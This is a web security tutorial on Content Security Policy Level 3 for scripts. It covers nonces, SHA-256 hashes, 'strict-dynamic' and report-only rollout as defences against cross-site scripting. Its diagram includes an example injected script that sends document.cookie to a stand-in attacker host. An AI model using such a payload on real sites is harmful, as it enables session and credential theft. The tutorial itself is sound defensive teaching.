LEARNING OBJECTIVES ⌵
- Understand the W3C Content Security Policy Level 3 specification for the
script-srcdirective. - Eliminate the dangerous
'unsafe-inline'directive by adopting cryptographic nonces and SHA digests. - Implement
'strict-dynamic'to seamlessly trust dynamically loaded dependencies from nonced roots. - Monitor and triage Cross-Site Scripting (XSS) violations using
Content-Security-Policy-Report-Only.
📖 The Mental Model & Story (Intuitive Foundation)
Imagine a top-secret government research facility with hundreds of scientists.
In the old days, anyone in a white lab coat who walked through the front door was allowed into the server room. If an attacker slipped in wearing a counterfeit white coat (an injected <script>alert(document.cookie)</script> XSS payload), the guards assumed they were a legitimate scientist. This is the danger of 'unsafe-inline': the browser cannot tell whether inline code was written by you or injected by a hacker.
To secure the facility, the director installs a Cryptographic Nonce Checkpoint (CSP Level 3):
- Every morning, the central mainframe generates a random, cryptographically unique single-use badge ID (a nonce, e.g.,
nonce-4bf8e9...). - When the server delivers the HTML document, it prints that exact badge ID into the HTTP header and onto legitimate employee name tags (
<script nonce="4bf8e9...">). - If an attacker injects a rogue
<script>tag into the comments section, it lacks the secret badge ID. The guards (the browser engine) tackle the intruder at the door, block execution immediately, and send a telemetry alarm to headquarters.
+---------------------------------------------------------------------------------------------------+
| STRICT CSP SCRIPT VERIFICATION PIPELINE |
+---------------------------------------------------------------------------------------------------+
1. HTTP Response Header:
Content-Security-Policy: script-src 'nonce-d89f2a' 'strict-dynamic' https:;
2. Incoming HTML Document:
<!-- Tag A (Legitimate Developer Script) -->
<script nonce="d89f2a">
console.log('Authorized system code.');
</script>
<!-- Tag B (Injected XSS Attack via User Input) -->
<script>
fetch('https://evil-hacker.com/steal?cookie=' + document.cookie);
</script>
3. Browser Security Engine:
- Checks Tag A Nonce ("d89f2a" === "d89f2a") ──> ✅ PERMIT EXECUTION
- Checks Tag B Nonce (No nonce / mismatch) ──> ❌ BLOCK SCRIPT & LOG CSP VIOLATION
Technical Deep Dive & Specifications
The W3C CSP Level 3 Architecture
A Content Security Policy (CSP) is an HTTP response header (or <meta> tag) that restricts the resource origins and execution capabilities of a document.
Delivery Mechanisms
| Method | Syntax | Capabilities / Restrictions |
|---|---|---|
| HTTP Response Header (Recommended) | Content-Security-Policy: script-src 'self' ... |
Full capabilities (supports frame-ancestors, report-uri, report-to, sandboxing). |
HTML <meta> Tag |
<meta http-equiv="Content-Security-Policy" content="..."> |
Client-side fallback. Cannot enforce report-to, frame-ancestors, or report-uri. |
Anatomy of the script-src Directive
The script-src directive dictates which scripts are permitted to execute:
Content-Security-Policy: script-src <source-1> <source-2> ...;
Key Sources & Tokens:
'self': Allows scripts hosted on the exact same scheme, hostname, and port as the document.https://cdn.jsdelivr.net: Allows scripts loaded from specific trusted remote hosts.'unsafe-inline': Allows all inline scripts and inline event handlers (onclick="..."). CRITICAL ANTI-PATTERN: Completely disables XSS defense.'unsafe-eval': Allows dynamic code evaluation APIs likeeval(),new Function(),setTimeout("string", 100).'nonce-<base64-value>': Permits specific<script nonce="...">tags matching the per-request token.'sha256-<base64-value>': Permits inline scripts whose exact raw text matches the cryptographic SHA-256 digest.'strict-dynamic': Instructs the browser to automatically trust any dynamic script created programmatically by a script that already possesses a valid nonce.
Nonces vs. Hashes: When to Use Which?
+---------------------------------------------------------------------------------------------------+
| NONCE vs. HASH STRATEGY |
+---------------------------------------------------------------------------------------------------+
| |
| 1. CRYPTOGRAPHIC NONCE ('nonce-RANDOM') |
| - Best for: Dynamic server-rendered applications (Node.js, Go, Python, Next.js, Rails). |
| - Rule: The server MUST generate a fresh, cryptographically secure 128-bit random token |
| (e.g., `crypto.randomBytes(16).toString('base64')`) on EVERY SINGLE HTTP request. |
| - Never hardcode a static nonce in HTML templates! |
| |
| 2. CRYPTOGRAPHIC HASH ('sha256-DIGEST') |
| - Best for: Static sites (Jamstack, Astro, Hugo, Amazon S3, Cloudflare Pages). |
| - Rule: Compute the SHA-256/384 hash of the exact static inline script body (including |
| whitespace). If the script text never changes, the hash never changes. |
+---------------------------------------------------------------------------------------------------+
Eliminating Inline Event Handlers
A strict CSP blocks all inline DOM event handlers:
<!-- ❌ BLOCKED by strict CSP: -->
<button onclick="handleLogin()">Sign In</button>
<a href="javascript:void(0)">Link</a>
<!-- ✅ ALLOWED by strict CSP (Attached via external or nonced script): -->
<button id="login-btn">Sign In</button>
<script nonce="rAnd0m123">
document.getElementById('login-btn').addEventListener('click', handleLogin);
</script>
💻 Interactive Code Playground
Starter Code
Line-by-Line Code Breakdown
- Lines 8–11 (
<meta http-equiv="Content-Security-Policy">): Sets a strict CSP rule: only execute inline scripts whose content hashes tosha256-43O9QcI91Wq677v4zHqUfZ5n9iP64Y+c6Z2q7qPqOio=. - Line 21 (
<script>console.log(...)</script>): The exact characters inside this tag match the SHA-256 digest, so the browser allows it to run. - Lines 34–37 (Simulated Injected Script): Contains different code. Because its hash is not present in the CSP directive, the browser blocks execution immediately and logs an error to DevTools.
Expected Browser Render Output
Content Security Policy Monitor
[ ✅ Authorized Script ]
The authorized inline script matched the cryptographic SHA-256 digest and executed.
[ 🛡️ Malicious Script Injection Test ]
Inspect the DevTools Console to see the browser block the unauthorized injected script below.
(DevTools Console Security Violations):
[Report Only / Blocked]: Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'sha256-...'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.🏋️ Hands-On Exercise
🎯 The Challenge: Harden an Insecure Application with Strict Nonce and Hash CSP
You are auditing a cloud banking portal. The portal currently has no Content Security Policy, and an attacker managed to inject an inline <script> stealing user auth tokens.
Instructions:
- Configure a strict
Content-Security-Policyvia<meta>tag withscript-srcpermitting:- Scripts from the origin (
'self'). - Trusted external CDN
https://cdnjs.cloudflare.com. - An authorized inline bootstrap script via its exact SHA-256 hash.
- Scripts from the origin (
- Refactor an insecure inline
onclickhandler on a transfer button to use a clean DOM event listener inside the authorized script. - Verify that any unauthorized injected scripts are completely blocked.
🏁 Starter Code Sandbox
⚠️ Common Pitfalls
- Reusing Static Nonces Across Requests: Storing a static nonce in an environment variable (e.g.
nonce="12345") completely defeats the security of nonces. Attackers simply inject<script nonce="12345">and bypass your entire policy. Nonces must be generated randomly per HTTP request. - Leaving
'unsafe-inline'in Policies: Adding'unsafe-inline'alongside domain whitelists allows attackers to execute arbitrary inline scripts anywhere in your HTML. - Using
eval()orFunction()in Production Libraries: If your third-party charting or templating library relies oneval(), strict CSP will break it unless you add'unsafe-eval'. Choose modern libraries that compile templates ahead of time.
💡 Pro Tips
- The Modern Google "Strict CSP" Template:
Why this works: Modern browsers support nonces andContent-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none';'strict-dynamic'(which automatically ignores'unsafe-inline'and host whitelists), while older legacy browsers fall back to'unsafe-inline'. - Roll Out in Report-Only Mode First: Before enforcing a strict CSP in production, deploy with the
Content-Security-Policy-Report-Onlyheader and areport-toendpoint. This lets you observe violations in real time without breaking the user experience.
📌 Key Takeaways
- Content Security Policy (CSP) is the primary defense against Cross-Site Scripting (XSS) and malicious code injection.
- The
script-srcdirective dictates where JavaScript can be fetched from and how it can execute. - Avoid
'unsafe-inline'; use cryptographic nonces for dynamic servers and SHA-256 hashes for static pages. - Nonces must be unique, unguessable, and regenerated on every single HTTP request.
- CSP blocks all inline event attributes (
onclick="..."); attach listeners cleanly usingaddEventListener. - --